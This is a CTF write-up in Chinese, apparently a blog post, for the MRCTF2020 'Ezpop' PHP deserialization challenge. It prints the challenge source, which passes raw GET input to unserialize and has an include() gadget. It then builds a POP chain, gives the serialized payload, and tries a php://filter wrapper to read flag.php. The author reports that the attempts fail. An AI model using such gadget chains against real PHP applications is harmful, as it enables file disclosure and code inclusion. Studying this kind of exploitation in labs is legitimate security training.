[MRCTF2020]Ezpop

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

Modifier:当该对象被当作函数调用时,能文件包含。

Test:当该对象的不可访问属性被访问时,能调用函数。

Show:反序列化起点

思路:首先通过Show中_tostring return 一个Test对象中不存在属性,从而将Modifier对象当作函数调用,然后包含flag.php文件。不知道include(flag.php)能不能看到源码。

构造playload:

php 复制代码
$a = new Show;
$a->source = new Show;
$a->source->str = new Test;
$b = new Modifier;
$b->var = "flag.php";//需要先修改可见性为public
$a->source->str->p = $b;
echo serialize($a);

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:8:"flag.php";}}}s:3:"str";N;}

访问一下果然没有任何回显。那怎么获得flag.php中的内容呢?

难道能利用伪协议?试试看将$b->var改为"php://filter/convert.base64-encode/resource=flag.php"

仍然不行,看一下答案吧...

问题在于我将b中的var变量的可见性由protected改成了public?为什么这样就出现问题了呢,我记得上次一道题目中这样改是没有问题的呀!

唯一的区别就在于上次那道题目改的直接是序列化对象字符串,这道题改的是pop链中的一个对象。

下次做php反序列化题目的时候能不改可见性就不改吧,除非题目将其作为了一个考点那就可以尝试。

相关推荐
pixle02 天前
从零学习Node.js框架Koa 【六】Koa文件上传下载实现:@koa/multer 与 koa-send 深度解析
node.js·web·koa·js·全栈·服务端·文件上传下载
名字不相符2 天前
攻防世界WEB难度一(个人记录)
学习·php·web·萌新
我叫张小白。2 天前
Spring Boot拦截器详解:实现统一的JWT认证
java·spring boot·web·jwt·拦截器·interceptor
Zender Han2 天前
Flutter 新版 Google Sign-In 插件完整解析(含示例讲解)
android·flutter·ios·web
BINGCHN3 天前
RCTF2025-photographer(含环境搭建)
upload·ctf
actor_dev3 天前
从 .NET 到 Elixir:初探 Phoenix 框架
web·phoenix·elixir
m0_488777654 天前
Web与Nginx网站服务
nginx·web
三七吃山漆6 天前
攻防世界——easy_web
安全·网络安全·web·ctf
励志成为糕手6 天前
基于SpringBoot的企业考勤管理系统设计与实现
java·spring boot·后端·web·企业应用
yezipi耶不耶7 天前
Cloudflare 11.18 故障深度复盘:当“极致优化”撞上“现实边界“
rust·web